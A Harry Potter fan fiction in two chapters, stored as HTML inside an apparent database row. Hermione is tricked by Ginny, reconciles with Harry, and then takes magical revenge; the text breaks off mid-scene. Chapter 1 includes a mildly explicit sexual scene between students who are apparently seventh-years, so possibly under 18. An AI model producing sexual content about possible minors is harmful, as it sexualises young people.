class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I haven&#8217;t eaten since\nyesterday at lunch.&#8221; Hermione said with a mouth full of food. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, yesterday life was\nstill good huh.&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione dropped the pancake\nback onto the plate and looked at him. &#8220;I don&#8217;t want to talk about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course you don&#8217;t.&#8221; Ron\nsaid. &#8220;Harry&#8217;s been talking about it though, he can&#8217;t stop telling me how much\nhe misses you already, how much he cares about you&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione bit her lip. &#8220;He\nsaid that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron nodded, not taking his\neyes off her. &#8220;Yes, he said that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked happier for\na slight moment, but then the shadows crossed over her face again. &#8220;No, Ron,\nno. Don&#8217;t&#8217; you see, he could have any girl he wanted here at Hogwarts, all of\nthem prettier than me. I&#8217;m just the bookish nerd who happened to have a chance\nfor sixth months.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This isn&#8217;t Hermione\ntalking.&#8221; Ron said. &#8220;The Hermione I&#8217;ve known for the past seven years has never\ncared what other people said about her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, well, I care now.&#8221;\nHermione snapped. &#8220;I need to get to class.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who said something to you?&#8221;\nRon grabbed her arm and spun her back around. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nobody!&#8221; Hermione tried to\nyank her arm away. &#8220;Look, it&#8217;s just something I realized on my own, all right?&#8221;\nshe successfully pulled away from Ron and grabbed her ever present bookbag.\n&#8220;Thanks for bringing me breakfast and for trying to cheer me up.&#8221; She offered,\nand left the room. Ron stared with frustration after her for a moment, then\nleft for his own classes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry decided to spend the\nrest of his afternoon in the library, hoping to corner Hermione there and talk\nthings out. Ron had told him what she had said that morning in her dorm, and\nHarry was determined to get to the bottom of whatever was going on. He pulled a\nnew version of Quidditch Through the Ages from his pocket and settled down at\none of the tables, where he could see but not be seen. He had been reading for\nabout half an hour when he heard three voices that made him cringe and hide\nbehind his book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So did you hear the great\nnews?&#8221; Ginny Weasley was saying to her two clones, Holly Gable and Olive\nDillweed, who were as bitchy and snotty as she was. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Olive asked\nbreathlessly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione dumped Harry last\nnight.&#8221; Ginny said with a smirk of satisfaction.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No way!!!&#8221; Olive and Holly\nboth screamed at the same time. All three of them cowered as Madam Pince glared\nat them from her desk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you two keep it\ndown!&#8221; Ginny snapped in a hushed voice. The three girls sat down at a table not\nfar from Harry&#8217;s, and he trained his ears to listen to what they were saying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Our plan couldn&#8217;t have\nworked better.&#8221; Ginny said gleefully. &#8220;Hermione heard every word we were saying\nabout her&#8230;. too bad it really was the truth.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh tell me about it.&#8221; Holly\nsaid, tossing back her blond hair. &#8220;I mean, that girl just takes no pride in\nher appearance at all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What in the name of Merlin\ndoes Harry Potter see in her anyway?&#8221; Olive added, and all three girls\nsnickered quietly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,&#8221; Ginny said, leaning\nback. &#8220;I&#8217;m sure it&#8217;s only a matter of time before I manage to get Harry into\nbed with me. I&#8217;ll be sure and tell you two all about it. I just hope he\nmeasures up to Draco&#8230;.&#8221; All three girls gasped as Harry slammed his book down\nand advanced on their table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t think you could\nsink any lower.&#8221; Harry said to Ginny, clenching his jaw. &#8220;To set the record\nstraight, I would NEVER sleep with you, not EVER!&#8221; He turned to the other two\ngirls. &#8220;As far as you two go, I would watch your back around this one here.&#8221; He\nglared icicles at them. &#8220;Now, if you&#8217;ll excuse me, I need to go find my\nGIRLFRIEND and set things straight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stomped from the\nlibrary in a fury. He simply could not believe how sneaky Ginny Weasley had\nbecome. Must be Malfoy&#8217;s influence rubbing off on her. Harry spent the rest of\nthe afternoon looking for Hermione, but she was nowhere to be found. Finally,\naround the time that dinner was over, she came dashing into the Great Hall and\npiled some food onto a plate. She turned to go when Harry came up behind her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione.&#8221; He said quietly\nover the din of the students rushing out to their Houses. &#8220;Herm, please look at\nme.&#8221; Harry put his hand on her arm gently. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione pressed her lips\ntogether tightly and turned slowly to look at Harry. She wanted to melt into\nhis arms at the concern she saw there, but managed to restrain herself.\n&#8220;Harry.&#8221; She said tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm, I really need to talk\nto you.&#8221; Harry pleaded. &#8220;Please, please say you&#8217;ll meet me in the Astronomy\nTower tonight.&#8221; Hermione figured she must look like she was going to refuse\nbecause he moved his hand down to her free one and gripped it. &#8220;Please?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After a long silence,\nHermione nodded. &#8220;All right.&#8221; She said before she could stop herself. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry felt a wave of relief\nsweep over him. &#8220;Great, great&#8230;thank you Hermione. I will see you at midnight.&#8221;\nHe leaned in and kissed her gently on the cheek, then squeezed her hand once\nmore and hurried off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was lucky for both Harry\nand Hermione that they were Head Boy and Girl, because that enabled them to\nwalk about the building as they pleased, day or night. Harry decided to leave\nthe tower at about eleven thirty, wanting to be up there first. He was\nsurprised, however, to find Hermione already standing up there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re early.&#8221; He said in\nsurprise. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; Hermione jumped.\n&#8220;You startled me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; Harry ran a hand\nthrough his raven locks. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did you want to talk\nto me about?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked around as if\nconfused. &#8220;What do you think?&#8221; he asked. &#8220;Us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There is no us, Harry.&#8221;\nHermione said dully. &#8220;I&#8217;m not good enough for there to be an us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I&#8217;ll be the judge\nof that.&#8221; Harry replied. She started to shake her head but Harry put one hand\non her cheek. &#8220;Who was the witch who fixed my glasses for me on the train, our\nfirst trip to Hogwarts?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me.&#8221; Hermione said, smiling\na little at the memory.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And who, in our second\nyear, who turned herself into a cat so that she could help prove my innocence?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me.&#8221; Hermione said again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Third year, who told\nMcGonagall about the Firebolt, in my best interests?&#8221; Harry continued. &#8220;Fourth\nyear, who believed me without question when I said I didn&#8217;t put my name in the\nGoblet of Fire, and who stayed up nights with me to practice our banishing\ncharms?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me, me, me.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And who, last year, helped\nme defeat the most horrible Dark Wizard of our time?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me.&#8221; Hermione whispered,\nlooking down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How can you say you&#8217;re not\ngood enough for me, Hermione?&#8221; Harry asked. &#8220;Ever since we&#8217;ve come to Hogwarts,\nyou have been there for me, time and again, saving me, covering for me&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, you could have any\nof those beautiful girls here at school. Why do you want to waste your time on\na bushy haired bookworm like me?&#8221; Hermione asked. &#8220;I&#8217;m not nearly as pretty as\nany of the girls here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re right, you&#8217;re not.&#8221;\nHarry said, and despite herself she let out an enraged squawk. &#8220;You surpass\nthem all, Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She stared at him a moment,\nher eyes disbelieving. &#8220;Right, I&#8217;m better looking than Parvati Patil, I have a bigger\nchest size than Ginny Weasley, smoother hair than Lavender Brown, right, I&#8217;m\nthe best looking girl in our class!&#8221; she cried sarcastically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fuck Ginny.&#8221; Harry spat,\nthen curled his lip when he realized what he had said. &#8220;Forget her, she&#8217;s\nnothing.&#8221; He shuddered. &#8220;Besides, she&#8217;s the one who set you a trap.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you talking\nabout?&#8221; Hermione asked quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She MEANT for you to\noverhear her and her stupid friends talking about you. She wanted you to think\nyou aren&#8217;t good enough for me, and you fell right for it.&#8221; Harry said, growing\nangry again as he remembered Ginny&#8217;s awful sneer. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She did?&#8221; Hermione asked\ngingerly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, she did.&#8221; Harry turned\naway from her and rested his arms on the half wall, staring out over the\nQuidditch Field and the Forbidden Forest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione slumped against the\nwall as realization set in, finally. How could she possibly have been so\nstupid? To believe what Ginny and her friends were saying, even though Ginny\nmust have known that Harry didn&#8217;t want her, she&#8217;d stop at nothing to make\nHermione unhappy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve been so stupid&#8230;&#8221; she\nsaid aloud.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry made a gruff noise\nwith his throat. &#8220;Yeah you have.&#8221; He half smiled at her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just&#8230;I&#8217;ve never been very\nsecure about my looks.&#8221; Hermione gave her hair a tug. &#8220;You try having\nunmanageable hair and boring brown eyes&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh, I think I&#8217;ve got the\nunmanageable hair part covered&#8230;&#8221; Harry said, pulling a lock of his own hair\ndown over his forehead. &#8220;And your eyes, they&#8217;re anything but boring.&#8221;&nbsp; He tilted her head up so he could stare into\nthem, he loved her eyes, they were a few different shades of brown, dark with\nlighter cinnamon flecks dancing around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you really mean that\nHarry?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I do.&#8221; Harry answered\nquietly. &#8220;I think you are the most beautiful witch, no, the most beautiful\nwoman I&#8217;ve ever seen in my entire life. I have treasured every moment we have\nspent together, from these past six months to the time we were eleven and\nunsure of ourselves. And I can&#8217;t believe it&#8217;s taken me this long to realize just\nhow much I have fallen in love with you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes widened.\n&#8220;Did you just say&#8230;&#8221; she was cut off by Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I did just say. I love\nyou, Hermione Granger, bookworm, bushy hair, everything about you, I love.&#8221;\nHarry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione tried to say she\nloved him too, but could only emit a tiny squeak. They grinned at one another,\nand then Harry bent his face down to cover her mouth with his. She wrapped her\narms around his neck, and he pulled her as close to him as he possibly could,\ncurving one hand around her slim waist while the other buried itself into her\nhair. Hermione pressed her lips harder against his, and opened her mouth to let\nhis tongue inside. One of her hands cupped the side of his face while she let\nher fingernails on the other hand lightly scrape up his neck, and gently across\nhis scalp. She loved the feel of his hair in her hand, it was always so soft.\nHe moaned into her mouth at the feel of her, and tightened his hold even more\naround her waist. Neither Hermione or Harry would ever know how they got from\nthe Astronomy Tower back to the Head Boy&#8217;s room, as neither remembered breaking\naway from one another for longer than a second to draw breath. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had to admit; lying\non her back on Harry&#8217;s bed was far better than the cold stone floor of the\nTower. Energized by her thoughts, she grabbed Harry&#8217;s face between her hands\nand kissed him so hard she figured she was bruising their lips. Harry brought\none hand down and unclasped her robe, then without breaking away, he pulled it\noff her and threw it to the floor. He then took his hand and gently eased his\nway under her sweater, loving the feel of her silken skin on his palm. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He pulled his mouth away\nfrom hers to kiss the hollow of her throat, making a trail of opened mouth\nkisses down the side of her neck and across her shoulder. Frustrated by the\nlimits the sweater she was wearing gave him, he almost tore it from her and it\njoined her robe on the floor. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They both took a few deep\nbreaths and just looked at each other for a few moments, Hermione taking this\ntime to deprive Harry of his own robe and shirt, so that she could feel his\nskin as well. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Not wanting to waste any\nmore time, Harry again attacked her mouth with his, thrusting his tongue\nagainst hers, running his hand lightly up her torso, he loved to feel her\nshiver with pleasure underneath him. His hand found the side of her breast, and\nhe let his thumb brush over the top, making her moan into his mouth and press\nharder against him. He pulled his mouth from hers, making her emit a large cry\nas he gently squeezed her breast and kissed the valley between them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had quite a grip on\nHarry&#8217;s hair, the other was holding onto the headboard. &#8220;Harry!&#8221; she breathed\nas he created thrilling sensations that shot through her. He moved back up and\nonce again kissed her passionately.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; she mumbled around\nhis lips. &#8220;Harry&#8230;I want you, all of you&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Some time later, Hermione\nlay and watched Harry&#8217;s chest rise and fall as he slept. She could hardly\nbelieve he was here right now, sleeping next to her. She moved slightly so that\nshe could lie in the crook of his arms. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8217;Mione?&#8221; Harry mumbled\nsleepily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmm?&#8221; she murmured back,\nher eyelids fluttering.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t ever say you&#8217;re not\ngood enough for me again&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I won&#8217;t.&#8221; Hermione propped\nherself up to kiss him on the lips once more, and then snuggled back into his\nembrace. No, she definitely would never think that again.</p>\n\n\n\n\n\n\n'),
	(79, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 2</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s Revenge</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Well, due to a nice\nresponse for chapter 1, I decided to do a second, this will be the last,\nhowever.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Personally, I don&#8217;t think I\nmade Ginny OOC, because we really have no insight to her personality yet. But\nthat&#8217;s just me. I know a lot of people think Ginny&#8217;s a doll, and if you want to\nread where I made her nice, read my story Working Together. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways, hope you non Ginny\nlovers out there will get a kick out of this. I don&#8217;t hate the girl, but she&#8217;s\ndefinitely not on my list of favorites. I don&#8217;t do anything TOO bad to her\nthough ;) heehee</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oh, and please take a moment\nand join Ryoko&#8217;s Yahoo Group, she&#8217;s going to have some very cool stuff up there\nsoon! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">http://groups.yahoo.com/group/Ryokos_Place/\n)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione Granger was not\nusually a girl who was out for revenge. Actually, she was normally quite the\ncontrary, but then again, she&#8217;d never been duped so badly.&nbsp; She absentmindedly tapped her quill on her parchment\nas random thoughts of payback flitted through her mind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Something the matter?&#8221;\nHarry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; Hermione replied,\nlooking up from her homework.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pointed at her quill.\n&#8220;You just snapped your quill in half.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed and looked down,\nnoticing that her quill indeed now lay in two sad pieces on top of her\nparchment. &#8220;Oops.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come here.&#8221; Harry said\ngetting up from his chair and drawing her into his embrace. She rested her head\non his chest for a few long moments, just enjoying the touch of his hands\ngently caressing her back, and the feel of his lips in her hair. &#8220;What&#8217;s\nwrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t hide anything from\nyou can I?&#8221; Hermione asked with a slight smile, looking up at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nope.&#8221; Harry answered. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione bit the inside of her\ncheek. &#8220;I guess I&#8217;m still rather peeved about what Ginny did.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snorted. &#8220;Can&#8217;t say\nthat I blame you.&#8221; He gently tilted her face up to his and kissed her. &#8220;But it\ndidn&#8217;t work, did it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,&#8221; Hermione said. &#8220;I just\ncan&#8217;t seem to get it out of my head&#8230;&#8221; her eyes took on a gleam as an idea came\nto her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh oh,&#8221; Harry said as he\nnoticed. &#8220;What are you thinking about?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione simply smiled.\n&#8220;You&#8217;ll see, all in good time.&#8221; She sat back down at the table and with a\nsimple flick of her wrist, repaired her quill and started doing her homework\nagain. Harry shook his head and followed suit, glad it wasn&#8217;t him on Hermione&#8217;s\nbad side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***The Next Day***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione climbed up the\nladder to one of the top shelves in the library, looking for a certain book. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wild Ways to Wickedly\nUglify a Witch or Warlock.&#8221; Hermione read aloud, rolling her eyes at the title.\nShe needed a little charm or two for her plans with Ginny, and she went back\ndown the ladder and tucked the book inside a bigger one so no one could see\nwhat she was reading.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmm&#8230;I only need two spells\nreally&#8230;.&#8221; Hermione muttered softly to herself as she copied down what she would\nneed, then returned the book to the shelf. She allowed herself a large smile as\nshe practically skipped down the hall back to her room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Late that night, Hermione\nsneaked out of Harry&#8217;s room and up to the 6th year Girl&#8217;s\nDormitories. It took her a moment to find Ginny&#8217;s bed, but finally she was\nstanding over her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione pointed her wand at\nGinny&#8217;s long red hair as she concentrated on what the book had said to do. She\nfocused on the mental image of Snape&#8217;s greasy disgusting hair, chanted the\nspell, and when she opened her eyes, she saw in satisfaction that the spell had\nworked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now the clothes.&#8221; Hermione\nsaid quietly, going to Ginny&#8217;s trunk and opening it noiselessly. She grimaced\nat the array of tight fitting outfits inside, then did the same thing as she\ndid to Ginny&#8217;s hair, only this time thinking about Ginny in clothing the same\nsize as Millicent Bulstrode wore. Her task being done, Hermione crept out of\nthe room and scurried back to where Harry laid waiting for her in sleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where&#8217;d you go?&#8221; he mumbled\nsleepily as she slipped back into the bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll see tomorrow.&#8221; She simply\nsaid, kissing him on the cheek and snuggling back into the crook of his arm.\nHermione fell asleep easily, with thoughts of the next day playing through her\nmind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny Weasley stumbled into\nthe bathroom the next morning, ready to being her morning rituals to face the\nday. She brushed her teeth with her eyes half open, then grabbed her shampoo\nand was heading for the shower when she caught sight of her long locks in the\nmirror.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;AHHHHHHHH!!!!!&#8221; she\nscreamed loudly, which in turn brought Holly and Olive running in to see what\nwas the matter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny!!&#8221; Holly exclaimed.\n&#8220;What the hell did you do?&#8221; Olive merely stared at her hair in disgust.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t do anything!&#8221;\nGinny&#8217;s voice was shrill with panic. She stepped into the shower, still in her\nnightgown, and started squeezing shampoo into her hair, scrubbing vigorously.\n&#8220;Help me!&#8221; she barked at the other two girls.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not touching her.&#8221;\nOlive said, turning and walking out of the bathroom. Holly stood for a moment\nlonger, then followed Olive. Ginny felt hatred boil up inside her at her\nso-called friends. She&#8217;d make them pay once she got out, oh yes she would.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Twenty minutes later, Ginny\nstepped from the shower, convinced that she&#8217;d fixed herself back up. Without\nlooking in the mirror, she ran back to the dormitory, shivering, and threw her\ntrunk open to get some new clothes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What the&#8230;&#8221; Ginny said in\ndisbelief as she pulled article after article of clothing out and threw them\naside. Everything had to be at least four sizes too large for her. &#8220;What is going\non?&#8221; Ginny cried, tears of frustration falling from her eyes. She grabbed the\nsmallest items she could find, an old grubby skirt and a lint covered black\nsweater, and pulled them on, throwing the sopping nightgown aside. She stepped\nover to her mirror and was completely dismayed to see that her hair remained\nthe same, falling down in limp, greasy clumps. She tugged on it hard, as if\nthat would make it go back to normal, then grabbed a brush, she didn&#8217;t care\nwhose it was, and tried to pull it through her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow!!&#8221; she screamed in pain,\nthank goodness everyone had gone down to breakfast by that time. Ginny threw\nthe brush across the room and grabbed a scarf, tying it around her head so that\nnone of her hair showed. She took a deep breath and blew it back out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay Ginny.&#8221; She coached\nherself. &#8220;Just walk in there like you normally do, swing your hips and stick\nyour chest out, and they won&#8217;t even notice your head. Without waiting another\nmoment, she pushed open the doors to the Great Hall and walked in like it was\nany other day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello everyone.&#8221; She said,\nslipping in between Holly and Olive, who both recoiled. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everyone stared at Ginny\nwith a look of shock on their faces. A various muttering of &#8216;Hey Ginny&#8230;&#8217; was\nheard around the table. Ginny tried to flirt with the guys who were normally\nhanging all over her but no one would even look at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Down the table, Hermione was\nsurreptitiously sneaking looks at Ginny&#8217;s hunched over figure. Harry and Ron\nwere snickering quietly, and Harry turned to look at Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is this where you went last\nnight?&#8221; he asked so no one could hear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe.&#8221; Hermione said,\nsmiling vaguely at him. &#8220;Come on, we should get to class.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The trio headed towards the\ndoors when a loud shout made them turn back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;WHAT IS EVERYONE STARING AT\nME FOR?&#8221; Ginny asked, still trying to act as if nothing were out of the\nordinary. Holly wordlessly reached up and pulled the kerchief from Ginny&#8217;s\nhead, exposing the greasy locks. Hermione covered her mouth to stifle the loud\nlaugh and they ran out the doors.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was prime, Hermione,\nreally.&#8221; Ron said, leaning up against the wall to catch his breath from\nlaughing so hard. He patted Hermione on the arm. &#8220;Way to go, it&#8217;s about time\nsomeone took her down a peg.&#8221; He caught sight of a pretty redhead making her\nway down the hall. &#8220;I&#8217;ll see you guys later&#8230;. Oi Susan!!&#8221; he shouted, following\nthe Hufflepuff.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled at his\ngirlfriend, who looked happier than she had all week. &#8220;Remind me never to get\non your bad side.&#8221; He said, taking her hand in his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t think that&#8217;s\npossible.&#8221; Hermione said, brushing up against him as they walked down the\nhallway. &#8220;I need to go back to my room, I forgot my bag.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll go with you.&#8221; Harry\nsaid. They hurried back up to the Head Girl&#8217;s room and Hermione retrieved her\nbag.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; She said, but Harry\nclosed the door and blocked it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, we still have a\nhalf hour till we have to be in class.&#8221; He said, a light coming into his\nbrilliant green 